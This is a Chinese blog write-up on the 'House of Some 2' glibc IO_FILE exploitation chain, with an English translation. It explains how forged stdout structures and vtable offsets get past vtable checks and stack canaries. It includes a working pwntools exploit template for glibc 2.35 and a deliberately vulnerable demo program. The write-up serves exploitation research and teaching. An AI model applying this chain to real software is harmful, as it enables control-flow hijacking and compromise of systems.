House of Some 2 是独立的一条 IO_FILE 利用链,主要关注的函数是_IO_wfile_jumps_maybe_mmap中的_IO_wfile_underflow_maybe_mmap
利用条件为
- 已知 libc 地址
- 可控地址 (可写入 fake file)
- 可控 stdout 指针或者
_IO_2_1_stdout_结构体 - 程序具有 printf 或者 puts 输出函数
优点如下
- 与 House of Some 一样可以绕过目前的 vtable 检查
- printf 和 puts 比较普遍,适用性广
- 可以在栈上劫持控制流,衔接 House of Some,完成最后攻击
原理描述
前置知识
首先我们先关注_IO_wfile_underflow_maybe_mmap函数
wint_t_IO_wfile_underflow_maybe_mmap (FILE *fp){ /* This is the first read attempt. Doing the underflow will choose mmap or vanilla operations and then punt to the chosen underflow routine. Then we can punt to ours. */ if (_IO_file_underflow_maybe_mmap (fp) == EOF) return WEOF;
return _IO_WUNDERFLOW (fp);}这个函数最后调用了_wide_data内的虚表_IO_WUNDERFLOW
那么继续深入_IO_file_underflow_maybe_mmap函数
int_IO_file_underflow_maybe_mmap (FILE *fp){ /* This is the first read attempt. Choose mmap or vanilla operations and then punt to the chosen underflow routine. */ decide_maybe_mmap (fp); return _IO_UNDERFLOW (fp);}这个函数最后调用了 FILE 的虚表_IO_UNDERFLOW
继续深入decide_maybe_mmap函数
static voiddecide_maybe_mmap (FILE *fp){ /* We use the file in read-only mode. This could mean we can mmap the file and use it without any copying. But not all file descriptors are for mmap-able objects and on 32-bit machines we don't want to map files which are too large since this would require too much virtual memory. */ struct __stat64_t64 st;
if (_IO_SYSSTAT (fp, &st) == 0 && S_ISREG (st.st_mode) && st.st_size != 0 /* Limit the file size to 1MB for 32-bit machines. */ && (sizeof (ptrdiff_t) > 4 || st.st_size < 1*1024*1024) /* Sanity check. */ && (fp->_offset == _IO_pos_BAD || fp->_offset <= st.st_size)) { /* Try to map the file. */ void *p; ... 这里主要就是做了mmap }
/* We couldn't use mmap, so revert to the vanilla file operations. */
if (fp->_mode <= 0) _IO_JUMPS_FILE_plus (fp) = &_IO_file_jumps; else _IO_JUMPS_FILE_plus (fp) = &_IO_wfile_jumps; fp->_wide_data->_wide_vtable = &_IO_wfile_jumps;}这个函数有一个关键的_IO_SYSSTAT调用,以及,在这个函数最后会恢复 FILE 和_wide_data的虚表
整理一下可以知道,如果一个 FILE 进入了函数_IO_wfile_underflow_maybe_mmap,那么他将会运行如下的流程
_IO_SYSSTAT(fp, &st)调用虚表,传入栈指针- decide_maybe_mmap 函数结束,恢复两个虚表
_IO_UNDERFLOW (fp)调用虚表_IO_WUNDERFLOW (fp)调用虚表
以及补充的条件
在_IO_file_jumps虚表的_IO_UNDERFLOW 函数中
count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);这一步,三个参数都可控,也就是可以写入任意地址
最后我们需要补充一下IO_jump_t结构体的全貌
/* offset | size */ type = struct _IO_jump_t {/* 0x0000 | 0x0008 */ size_t __dummy;/* 0x0008 | 0x0008 */ size_t __dummy2;/* 0x0010 | 0x0008 */ _IO_finish_t __finish;/* 0x0018 | 0x0008 */ _IO_overflow_t __overflow;/* 0x0020 | 0x0008 */ _IO_underflow_t __underflow;/* 0x0028 | 0x0008 */ _IO_underflow_t __uflow;/* 0x0030 | 0x0008 */ _IO_pbackfail_t __pbackfail;/* 0x0038 | 0x0008 */ _IO_xsputn_t __xsputn;/* 0x0040 | 0x0008 */ _IO_xsgetn_t __xsgetn;/* 0x0048 | 0x0008 */ _IO_seekoff_t __seekoff;/* 0x0050 | 0x0008 */ _IO_seekpos_t __seekpos;/* 0x0058 | 0x0008 */ _IO_setbuf_t __setbuf;/* 0x0060 | 0x0008 */ _IO_sync_t __sync;/* 0x0068 | 0x0008 */ _IO_doallocate_t __doallocate;/* 0x0070 | 0x0008 */ _IO_read_t __read;/* 0x0078 | 0x0008 */ _IO_write_t __write;/* 0x0080 | 0x0008 */ _IO_seek_t __seek;/* 0x0088 | 0x0008 */ _IO_close_t __close;/* 0x0090 | 0x0008 */ _IO_stat_t __stat;/* 0x0098 | 0x0008 */ _IO_showmanyc_t __showmanyc;/* 0x00a0 | 0x0008 */ _IO_imbue_t __imbue;
/* total size (bytes): 168 */ }第一次猜想
在 printf 和 puts 函数中,最后会调用 stdout 的__xsputn虚表的入口
如果我们使得__xsputn的偏移直接指向__underflow呢?
那么就会得到如下的偏移
__xsputn -> __underflow__stat -> __write此时,修改 stdout 的虚表为_IO_wfile_jumps_maybe_mmap-0x18
在上述调用过程中_IO_SYSSTAT(fp, &st)这个函数就会变成write(fp, &st, ??)
如果我们能够控制 rdx 就好了,这里就能做到栈数据泄露
rdx 的控制
很遗憾,在上述函数过程中,并没有涉及 rdx 的操作 (注:以 Ubuntu GLIBC 2.35-0ubuntu3.1 为例,后文相同)
能够控制的也就只有后续调用的_IO_UNDERFLOW (fp)中的_IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base);可以控制,由于decide_maybe_mmap会强制恢复虚表,所以这里我们不用担心篡改虚表带来的影响
如果 rdx 不可控直接执行write(fp, &st, ??)会怎么样,返回 0 或者非 0
那么回到decide_maybe_mmap
if (_IO_SYSSTAT (fp, &st) == 0 && S_ISREG (st.st_mode) && st.st_size != 0 ... && (fp->_offset == _IO_pos_BAD || fp->_offset <= st.st_size)) { ... }这里判断,如果_IO_SYSSTAT (fp, &st)返回 0,那么直接就不会进入 if,如果返回不为 0,我们看看S_ISREG的定义
#define __S_ISTYPE(mode, mask) (((mode) & __S_IFMT) == (mask))#define S_ISREG(mode) __S_ISTYPE((mode), __S_IFREG)不必关注详细的值,这里可以看到最后判断采用的是 == 判断,由于栈上数据的限制,这里通过判断的概率不高
以及还有st.st_size != 0判断,在没有正确执行 stat 逻辑,栈维持原貌的情况下,这个 if 通过概率不高
如果还高,可以控制fp->_offset == _IO_pos_BAD || fp->_offset <= st.st_size为假即可
那么就能顺利的执行完decide_maybe_mmap,并且保留伪造的 fp 内容没有任何变动
接下来就是调用_IO_file_jumps虚表的_IO_UNDERFLOW ,操作执行 read
这里,我们可以设置,注意 fake_file_start 就是我们当前控制的 fp 地址
_IO_buf_base = fake_file_start_IO_buf_end = fake_file_start + 0x1c8 // 这里的1c8包括了widedata的长度那么,这里我们就能再次重新复写 fake,并扩大可控长度,widedata 都可控了
回到上面执行流程,接下来就会执行_IO_WUNDERFLOW (fp)这个虚表函数了
然而,上述我们通过 underflow 重新控制了 fp,也就是接下来的这个虚表函数,我们也是可控的
这里我们控制为
_IO_WUNDERFLOW(fp) -> _IO_wfile_underflow_maybe_mmap回到起点
我们再次回到了起点,但是这次不一样了
在上一个小节,其实我们已经控制了 rdx,因为_IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base);的第三个参数
rdx = fp->_IO_buf_end - fp->_IO_buf_base此时,此时我们依然有这四个执行流程
_IO_SYSSTAT(fp, &st)调用虚表,传入栈指针- decide_maybe_mmap 函数结束,恢复两个虚表
_IO_UNDERFLOW (fp)调用虚表_IO_WUNDERFLOW (fp)调用虚表
不同的是,此时_IO_SYSSTAT(fp, &st)可以被指向任意的虚表函数,因为在第二次控制 fp 的时候,我们又一次覆写了 FILE 的 vtable
那么此时我们就可以控制
_IO_SYSSTAT(fp, &st) -> _IO_new_file_read(fp, &st, rdx)我们已经成功完成了栈溢出
还有高手?Canary
很不幸,decide_maybe_mmap 函数开启了 canary,我们没办法在没有泄露栈的情况下,完成栈溢出
由于 fileno 的设置,无法完成 write (1,stack,rdx) 的操作,真的没有办法的了吗
那么接下来,有请_IO_default_xsputn和_IO_default_xsgetn
我们阅读这两个函数源码
size_t_IO_default_xsgetn (FILE *fp, void *data, size_t n){ size_t more = n; char *s = (char*) data; for (;;) { /* Data available. */ if (fp->_IO_read_ptr < fp->_IO_read_end) { size_t count = fp->_IO_read_end - fp->_IO_read_ptr; if (count > more) count = more; if (count > 20) { s = __mempcpy (s, fp->_IO_read_ptr, count); fp->_IO_read_ptr += count; } else if (count) { char *p = fp->_IO_read_ptr; int i = (int) count; while (--i >= 0) *s++ = *p++; fp->_IO_read_ptr = p; } more -= count; } if (more == 0 || __underflow (fp) == EOF) break; } return n - more;}
size_t_IO_default_xsputn (FILE *f, const void *data, size_t n){ const char *s = (char *) data; size_t more = n; if (more <= 0) return 0; for (;;) { /* Space available. */ if (f->_IO_write_ptr < f->_IO_write_end) { size_t count = f->_IO_write_end - f->_IO_write_ptr; if (count > more) count = more; if (count > 20) { f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count); s += count; } else if (count) { char *p = f->_IO_write_ptr; ssize_t i; for (i = count; --i >= 0; ) *p++ = *s++; f->_IO_write_ptr = p; } more -= count; } if (more == 0 || _IO_OVERFLOW (f, (unsigned char) *s++) == EOF) break; more--; } return n - more;}可以知道,这是对于 fp 内的缓冲区的操作,可以关注到的是这里函数内有两个关键的部分
_IO_default_xsgetn (FILE *fp, void *data, size_t n) ==> __mempcpy(data, fp->_IO_read_ptr, n);_IO_default_xsputn (FILE *f, const void *data, size_t n) ==> __mempcpy (f->_IO_write_ptr, data, n);如果能够保证
fp->_IO_read_end - fp->_IO_read_ptr == nf->_IO_write_end - f->_IO_write_ptr == n就不会进入__underflow和_IO_OVERFLOW降低其他函数的干扰
这个时候就能衍生出一个大胆的想法,如果我们先将栈复制一份到可控的区域,再通过偏移写入,最后再拷贝回到栈内,那么我们就能完美的绕过 canary 并且,并不需要泄露 canary

最后
又到了喜闻乐见的模板环节,Some1 模板见https://github.com/CsomePro/Some-of-House
相关偏移为 Ubuntu GLIBC 2.35-0ubuntu3.1 版本 glibc
from pwn import *context.log_level = 'debug'context.arch = 'amd64'
tob = lambda x: str(x).encode()io = process("./demo")
io.recvuntil(b"[+] printf: ")printf_addr = int(io.recvuntil(b"\n", drop=True), 16)log.success(f"printf_addr: {printf_addr:#x}")
def add(size): io.sendlineafter(b"> ", b"1") io.sendlineafter(b"size> ", tob(size))
def write(addr, size, content): io.sendlineafter(b"> ", b"2") io.sendlineafter(b"size> ", tob(size)) io.sendlineafter(b"addr> ", tob(addr)) io.sendafter(b"content> ", content)
def leave(): io.sendlineafter(b"> ", b"3")
libc = ELF("./libc.so.6", checksec=False)libc_base = printf_addr - libc.symbols["printf"]libc.address = libc_baselog.success(f"libc_base: {libc_base:#x}")
_IO_wfile_jumps_maybe_mmap = libc.address + 0x215f40log.success(f"_IO_wfile_jumps_maybe_mmap: {_IO_wfile_jumps_maybe_mmap:#}")_IO_str_jumps = libc.address + 0x2166c0log.success(f"_IO_str_jumps: {_IO_str_jumps:#}")_IO_default_xsputn = _IO_str_jumps + 0x38_IO_default_xsgetn = _IO_str_jumps + 0x40
# 此处直接修改_IO_2_1_stdout_内容write(libc.symbols["_IO_2_1_stdout_"], 0xe0, flat({ 0x0: 0x8000, # disable lock 0x38: libc.symbols["_IO_2_1_stdout_"], # _IO_buf_base 0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end 0x70: 0, # _fileno 0xa0: libc.symbols["_IO_2_1_stdout_"] + 0x100, # +0xe0可写即可 0xc0: p32(0xffffffff), # _mode < 0 0xd8: _IO_wfile_jumps_maybe_mmap - 0x18,}, filler=b"\x00"))
# 拷贝栈上数据到可控地址,这里拷贝到_IO_2_1_stdout_的上方,方便下次写入顺便完成fp第三次控制io.send(flat({ 0x8: libc.symbols["_IO_2_1_stdout_"], # 需要可写地址
0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1c8 + 0xc8, # _IO_buf_base 0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end 0xa0: libc.symbols["_IO_2_1_stdout_"] + 0xe0, 0xc0: p32(0xffffffff),
0xd8: _IO_default_xsputn - 0x90, # vtable 0x28: libc.symbols["_IO_2_1_stdout_"] - 0x1c8, # _IO_write_ptr 0x30: libc.symbols["_IO_2_1_stdout_"], # _IO_write_end
0xe0: { 0xe0: _IO_wfile_jumps_maybe_mmap }}, filler=b"\x00"))
# 最后这里就可以劫持执行流到0xdeadbeaf了io.send(flat({ 0: 0xdeadbeaf, # retn 0x1c8-0xc8: { 0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1c8 + 0xc8, # _IO_buf_base 0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end 0xa0: libc.symbols["_IO_2_1_stdout_"] + 0xe0, 0xc0: p32(0xffffffff),
0xd8: _IO_default_xsgetn - 0x90, # vtable 0x08: libc.symbols["_IO_2_1_stdout_"] - 0x1c8, # _IO_read_ptr 0x10: libc.symbols["_IO_2_1_stdout_"] + (0x1c8 - 0xc8), # _IO_read_end
0xe0: { 0xe0: _IO_wfile_jumps_maybe_mmap }}}, filler=b"\x00"))
io.interactive()
附录
demo 程序
// gcc demo.c -o demo#include<stdio.h>
int main(){ setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); int c; printf("[+] printf: %p\n", &printf); while (1) { puts( "1. add heap.\n" "2. write libc.\n" "3. exit"); printf("> " ); scanf("%d", &c); if(c == 1) { int size; printf("size> "); scanf("%d", &size); char *p = malloc(size); printf("[+] done %p\n", p); printf("content> "); read(0, p, size); } else if(c == 2){ size_t addr, size; printf("size> "); scanf("%lld", &size); printf("addr> "); scanf("%lld", &addr); printf("content> "); read(0, (char*)addr, size); } else { break; } }}Translate by Kimi-K3
House of Some 2 is a standalone IO_FILE exploitation chain. The function we mainly focus on is _IO_wfile_underflow_maybe_mmap in _IO_wfile_jumps_maybe_mmap.
The exploitation requirements are:
- Known libc address
- A controllable address (where a fake file can be written)
- Controllable stdout pointer or the
_IO_2_1_stdout_structure - The program has an output function such as printf or puts
The advantages are:
- Like House of Some, it can bypass the current vtable checks
- printf and puts are very common, so it has broad applicability
- It can hijack the control flow on the stack, chaining into House of Some to finish the final attack
Principle
Prerequisites
First, let’s take a look at the _IO_wfile_underflow_maybe_mmap function
wint_t_IO_wfile_underflow_maybe_mmap (FILE *fp){ /* This is the first read attempt. Doing the underflow will choose mmap or vanilla operations and then punt to the chosen underflow routine. Then we can punt to ours. */ if (_IO_file_underflow_maybe_mmap (fp) == EOF) return WEOF;
return _IO_WUNDERFLOW (fp);}At the end, this function calls the _IO_WUNDERFLOW vtable entry in _wide_data.
Let’s go deeper into the _IO_file_underflow_maybe_mmap function
int_IO_file_underflow_maybe_mmap (FILE *fp){ /* This is the first read attempt. Choose mmap or vanilla operations and then punt to the chosen underflow routine. */ decide_maybe_mmap (fp); return _IO_UNDERFLOW (fp);}At the end, this function calls the FILE vtable entry _IO_UNDERFLOW.
Continuing into the decide_maybe_mmap function
static voiddecide_maybe_mmap (FILE *fp){ /* We use the file in read-only mode. This could mean we can mmap the file and use it without any copying. But not all file descriptors are for mmap-able objects and on 32-bit machines we don't want to map files which are too large since this would require too much virtual memory. */ struct __stat64_t64 st;
if (_IO_SYSSTAT (fp, &st) == 0 && S_ISREG (st.st_mode) && st.st_size != 0 /* Limit the file size to 1MB for 32-bit machines. */ && (sizeof (ptrdiff_t) > 4 || st.st_size < 1*1024*1024) /* Sanity check. */ && (fp->_offset == _IO_pos_BAD || fp->_offset <= st.st_size)) { /* Try to map the file. */ void *p; ... this part mainly performs the mmap }
/* We couldn't use mmap, so revert to the vanilla file operations. */
if (fp->_mode <= 0) _IO_JUMPS_FILE_plus (fp) = &_IO_file_jumps; else _IO_JUMPS_FILE_plus (fp) = &_IO_wfile_jumps; fp->_wide_data->_wide_vtable = &_IO_wfile_jumps;}This function has a key _IO_SYSSTAT call, and at the end of this function, the vtables of FILE and _wide_data are restored.
Putting it all together, if a FILE enters the _IO_wfile_underflow_maybe_mmap function, it will go through the following flow:
_IO_SYSSTAT(fp, &st)calls a vtable entry, passing in a stack pointer- The decide_maybe_mmap function finishes, restoring both vtables
_IO_UNDERFLOW (fp)calls a vtable entry_IO_WUNDERFLOW (fp)calls a vtable entry
Plus a supplementary condition
In the _IO_UNDERFLOW function of the _IO_file_jumps vtable
count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);At this step, all three arguments are controllable, which means we can write to any address.
Finally, we need to fill in the full picture of the IO_jump_t structure
/* offset | size */ type = struct _IO_jump_t {/* 0x0000 | 0x0008 */ size_t __dummy;/* 0x0008 | 0x0008 */ size_t __dummy2;/* 0x0010 | 0x0008 */ _IO_finish_t __finish;/* 0x0018 | 0x0008 */ _IO_overflow_t __overflow;/* 0x0020 | 0x0008 */ _IO_underflow_t __underflow;/* 0x0028 | 0x0008 */ _IO_underflow_t __uflow;/* 0x0030 | 0x0008 */ _IO_pbackfail_t __pbackfail;/* 0x0038 | 0x0008 */ _IO_xsputn_t __xsputn;/* 0x0040 | 0x0008 */ _IO_xsgetn_t __xsgetn;/* 0x0048 | 0x0008 */ _IO_seekoff_t __seekoff;/* 0x0050 | 0x0008 */ _IO_seekpos_t __seekpos;/* 0x0058 | 0x0008 */ _IO_setbuf_t __setbuf;/* 0x0060 | 0x0008 */ _IO_sync_t __sync;/* 0x0068 | 0x0008 */ _IO_doallocate_t __doallocate;/* 0x0070 | 0x0008 */ _IO_read_t __read;/* 0x0078 | 0x0008 */ _IO_write_t __write;/* 0x0080 | 0x0008 */ _IO_seek_t __seek;/* 0x0088 | 0x0008 */ _IO_close_t __close;/* 0x0090 | 0x0008 */ _IO_stat_t __stat;/* 0x0098 | 0x0008 */ _IO_showmanyc_t __showmanyc;/* 0x00a0 | 0x0008 */ _IO_imbue_t __imbue;
/* total size (bytes): 168 */ }First Guess
In printf and puts, the __xsputn vtable entry of stdout is eventually called.
What if we shift the offset of __xsputn so it points directly at __underflow?
Then we get the following offsets
__xsputn -> __underflow__stat -> __writeAt this point, we modify the vtable of stdout to _IO_wfile_jumps_maybe_mmap-0x18.
In the call flow above, the _IO_SYSSTAT(fp, &st) call would then become write(fp, &st, ??)
If only we could control rdx — then we could leak stack data here.
Controlling rdx
Unfortunately, in the above function flow there is nothing that manipulates rdx (note: using Ubuntu GLIBC 2.35-0ubuntu3.1 as the example, the same applies below).
The only thing we can control is the _IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base); in the later _IO_UNDERFLOW (fp) call. Since decide_maybe_mmap forcibly restores the vtables, we don’t need to worry about the effects of tampering with the vtables here.
What happens if rdx is uncontrollable and we directly execute write(fp, &st, ??)? It returns 0 or non-zero.
So back to decide_maybe_mmap
if (_IO_SYSSTAT (fp, &st) == 0 && S_ISREG (st.st_mode) && st.st_size != 0 ... && (fp->_offset == _IO_pos_BAD || fp->_offset <= st.st_size)) { ... }This checks the return value: if _IO_SYSSTAT (fp, &st) returns 0, the if body is skipped right away; if it returns non-zero, let’s look at the definition of S_ISREG
#define __S_ISTYPE(mode, mask) (((mode) & __S_IFMT) == (mask))#define S_ISREG(mode) __S_ISTYPE((mode), __S_IFREG)We don’t need to care about the exact values; we can see the final check uses an == comparison. Given the limitations of the data on the stack, the probability of passing this check is low.
There is also the st.st_size != 0 check. Without stat logic executing correctly and the stack remaining in its original state, the probability of this if passing is low.
If it is still likely to pass, we can just make fp->_offset == _IO_pos_BAD || fp->_offset <= st.st_size false.
Then decide_maybe_mmap can complete smoothly, and the contents of the forged fp remain completely unchanged.
Next comes the _IO_UNDERFLOW call of the _IO_file_jumps vtable, which performs a read operation.
Here we can set the following — note that fake_file_start is the address of the fp we currently control
_IO_buf_base = fake_file_start_IO_buf_end = fake_file_start + 0x1c8 // the 1c8 here includes the length of wide_dataThis way, we can rewrite the fake file again and expand the controllable length — now even wide_data is controllable.
Back to the execution flow above: the next step is to call the _IO_WUNDERFLOW (fp) vtable function.
However, through the underflow above we have regained control of fp, which means this upcoming vtable function is also under our control.
Here we set it to
_IO_WUNDERFLOW(fp) -> _IO_wfile_underflow_maybe_mmapBack to the Beginning
We are back at the starting point, but this time things are different.
In the previous section, we actually already controlled rdx, because of the third argument of _IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base);
rdx = fp->_IO_buf_end - fp->_IO_buf_baseAt this point, we still have the same four-step execution flow:
_IO_SYSSTAT(fp, &st)calls a vtable entry, passing in a stack pointer- The decide_maybe_mmap function finishes, restoring both vtables
_IO_UNDERFLOW (fp)calls a vtable entry_IO_WUNDERFLOW (fp)calls a vtable entry
The difference is that _IO_SYSSTAT(fp, &st) can now be pointed at any vtable function, because when we controlled fp the second time, we overwrote the FILE vtable once again.
So now we can control
_IO_SYSSTAT(fp, &st) -> _IO_new_file_read(fp, &st, rdx)We have successfully achieved a stack overflow.
Another Challenger? Canary
Unfortunately, the decide_maybe_mmap function is compiled with a canary, so we cannot complete the stack overflow without leaking the stack.
Because of the fileno setting, we cannot perform write(1, stack, rdx) either. Is there really no way?
Well then, let’s welcome _IO_default_xsputn and _IO_default_xsgetn.
Let’s read the source of these two functions
size_t_IO_default_xsgetn (FILE *fp, void *data, size_t n){ size_t more = n; char *s = (char*) data; for (;;) { /* Data available. */ if (fp->_IO_read_ptr < fp->_IO_read_end) { size_t count = fp->_IO_read_end - fp->_IO_read_ptr; if (count > more) count = more; if (count > 20) { s = __mempcpy (s, fp->_IO_read_ptr, count); fp->_IO_read_ptr += count; } else if (count) { char *p = fp->_IO_read_ptr; int i = (int) count; while (--i >= 0) *s++ = *p++; fp->_IO_read_ptr = p; } more -= count; } if (more == 0 || __underflow (fp) == EOF) break; } return n - more;}
size_t_IO_default_xsputn (FILE *f, const void *data, size_t n){ const char *s = (char *) data; size_t more = n; if (more <= 0) return 0; for (;;) { /* Space available. */ if (f->_IO_write_ptr < f->_IO_write_end) { size_t count = f->_IO_write_end - f->_IO_write_ptr; if (count > more) count = more; if (count > 20) { f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count); s += count; } else if (count) { char *p = f->_IO_write_ptr; ssize_t i; for (i = count; --i >= 0; ) *p++ = *s++; f->_IO_write_ptr = p; } more -= count; } if (more == 0 || _IO_OVERFLOW (f, (unsigned char) *s++) == EOF) break; more--; } return n - more;}As we can see, these operate on the buffer inside fp. What we should note is that these functions have two key parts
_IO_default_xsgetn (FILE *fp, void *data, size_t n) ==> __mempcpy(data, fp->_IO_read_ptr, n);_IO_default_xsputn (FILE *f, const void *data, size_t n) ==> __mempcpy (f->_IO_write_ptr, data, n);If we can guarantee
fp->_IO_read_end - fp->_IO_read_ptr == nf->_IO_write_end - f->_IO_write_ptr == nthen we will not enter __underflow or _IO_OVERFLOW, reducing interference from other functions.
This gives rise to a bold idea: if we first copy the stack into a controllable region, then write into it with an offset, and finally copy it back onto the stack, we can perfectly bypass the canary without ever needing to leak it.

Finally
Time for everyone’s favorite part again — the template. For the Some1 template, see https://github.com/CsomePro/Some-of-House
The relevant offsets are for Ubuntu GLIBC 2.35-0ubuntu3.1
from pwn import *context.log_level = 'debug'context.arch = 'amd64'
tob = lambda x: str(x).encode()io = process("./demo")
io.recvuntil(b"[+] printf: ")printf_addr = int(io.recvuntil(b"\n", drop=True), 16)log.success(f"printf_addr: {printf_addr:#x}")
def add(size): io.sendlineafter(b"> ", b"1") io.sendlineafter(b"size> ", tob(size))
def write(addr, size, content): io.sendlineafter(b"> ", b"2") io.sendlineafter(b"size> ", tob(size)) io.sendlineafter(b"addr> ", tob(addr)) io.sendafter(b"content> ", content)
def leave(): io.sendlineafter(b"> ", b"3")
libc = ELF("./libc.so.6", checksec=False)libc_base = printf_addr - libc.symbols["printf"]libc.address = libc_baselog.success(f"libc_base: {libc_base:#x}")
_IO_wfile_jumps_maybe_mmap = libc.address + 0x215f40log.success(f"_IO_wfile_jumps_maybe_mmap: {_IO_wfile_jumps_maybe_mmap:#}")_IO_str_jumps = libc.address + 0x2166c0log.success(f"_IO_str_jumps: {_IO_str_jumps:#}")_IO_default_xsputn = _IO_str_jumps + 0x38_IO_default_xsgetn = _IO_str_jumps + 0x40
# Directly modify the contents of _IO_2_1_stdout_ herewrite(libc.symbols["_IO_2_1_stdout_"], 0xe0, flat({ 0x0: 0x8000, # disable lock 0x38: libc.symbols["_IO_2_1_stdout_"], # _IO_buf_base 0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end 0x70: 0, # _fileno 0xa0: libc.symbols["_IO_2_1_stdout_"] + 0x100, # anything writable at +0xe0 is fine 0xc0: p32(0xffffffff), # _mode < 0 0xd8: _IO_wfile_jumps_maybe_mmap - 0x18,}, filler=b"\x00"))
# Copy stack data to a controllable address; here we copy it above _IO_2_1_stdout_, making it convenient to achieve the third control of fp along with the next writeio.send(flat({ 0x8: libc.symbols["_IO_2_1_stdout_"], # a writable address is required
0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1c8 + 0xc8, # _IO_buf_base 0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end 0xa0: libc.symbols["_IO_2_1_stdout_"] + 0xe0, 0xc0: p32(0xffffffff),
0xd8: _IO_default_xsputn - 0x90, # vtable 0x28: libc.symbols["_IO_2_1_stdout_"] - 0x1c8, # _IO_write_ptr 0x30: libc.symbols["_IO_2_1_stdout_"], # _IO_write_end
0xe0: { 0xe0: _IO_wfile_jumps_maybe_mmap }}, filler=b"\x00"))
# Finally, here we can hijack the execution flow to 0xdeadbeafio.send(flat({ 0: 0xdeadbeaf, # retn 0x1c8-0xc8: { 0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1c8 + 0xc8, # _IO_buf_base 0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end 0xa0: libc.symbols["_IO_2_1_stdout_"] + 0xe0, 0xc0: p32(0xffffffff),
0xd8: _IO_default_xsgetn - 0x90, # vtable 0x08: libc.symbols["_IO_2_1_stdout_"] - 0x1c8, # _IO_read_ptr 0x10: libc.symbols["_IO_2_1_stdout_"] + (0x1c8 - 0xc8), # _IO_read_end
0xe0: { 0xe0: _IO_wfile_jumps_maybe_mmap }}}, filler=b"\x00"))
io.interactive()
Appendix
The demo program
// gcc demo.c -o demo#include<stdio.h>
int main(){ setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); int c; printf("[+] printf: %p\n", &printf); while (1) { puts( "1. add heap.\n" "2. write libc.\n" "3. exit"); printf("> " ); scanf("%d", &c); if(c == 1) { int size; printf("size> "); scanf("%d", &size); char *p = malloc(size); printf("[+] done %p\n", p); printf("content> "); read(0, p, size); } else if(c == 2){ size_t addr, size; printf("size> "); scanf("%lld", &size); printf("addr> "); scanf("%lld", &addr); printf("content> "); read(0, (char*)addr, size); } else { break; } }}